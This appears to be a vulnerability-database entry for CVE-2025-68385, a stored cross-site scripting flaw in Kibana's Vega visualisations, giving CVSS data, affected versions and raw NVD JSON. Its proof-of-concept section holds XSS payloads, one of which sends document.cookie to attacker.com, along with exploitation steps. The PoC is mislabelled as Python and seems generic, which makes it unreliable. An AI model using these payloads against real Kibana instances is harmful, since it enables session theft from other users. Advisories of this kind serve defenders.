Security Vulnerability Report
中文
CVE-2025-68385 CVSS 7.2 HIGH

CVE-2025-68385

Published: 2025-12-18 23:15:49
Last Modified: 2025-12-23 19:07:09

Description

Improper neutralization of input during web page generation ('Cross-site Scripting') (CWE-79) allows an authenticated user to embed a malicious script in content that will be served to web browsers causing cross-site scripting (XSS) (CAPEC-63) via a method in Vega bypassing a previous Vega XSS mitigation.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE
Elastic Kibana 8.19.x < 8.19.9
Elastic Kibana 9.1.x < 9.1.9
Elastic Kibana 9.2.x < 9.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68385 PoC - Vega XSS Bypass // This PoC demonstrates the XSS vulnerability in Kibana Vega component // Note: Requires authenticated access to Kibana const vegaSpec = { '$schema': 'https://vega.github.io/schema/vega/v5.json', 'width': 400, 'height': 200, 'marks': [ { 'type': 'text', 'encode': { 'update': { 'text': {'value': '<img src=x onerror=alert(document.cookie)>'}, 'x': {'value': 50}, 'y': {'value': 50} } } } ] }; // Alternative bypass technique using data URL const bypassSpec = { '$schema': 'https://vega.github.io/schema/vega/v5.json', 'width': 400, 'height': 200, 'data': [{ 'name': 'malicious', 'values': ['<svg onload=fetch("https://attacker.com/steal?c="+document.cookie)>'] }], 'marks': [{ 'type': 'text', 'from': {'data': 'malicious'}, 'encode': { 'update': { 'text': {'field': 'data'}, 'x': {'value': 50}, 'y': {'value': 50} } } }] }; // Exploitation steps: // 1. Authenticate to Kibana with valid credentials // 2. Navigate to Vega visualization editor // 3. Inject the malicious Vega spec // 4. Share the visualization or wait for victim to view // 5. Malicious JavaScript executes in victim's browser

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68385", "sourceIdentifier": "[email protected]", "published": "2025-12-18T23:15:49.017", "lastModified": "2025-12-23T19:07:09.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('Cross-site Scripting') (CWE-79) allows an authenticated user to embed a malicious script in content that will be served to web browsers causing cross-site scripting (XSS) (CAPEC-63) via a method in Vega bypassing a previous Vega XSS mitigation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.17.29", "matchCriteriaId": "8820B4BC-0DAB-4C9B-8053-90DE2C19646E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "33557C22-9E8F-420F-9570-862845627924"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "EAC361A2-7443-4A76-BD9E-7284591FECA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "34F2DE99-71FA-4E13-BE2E-4824C8471F96"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-34/384182", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}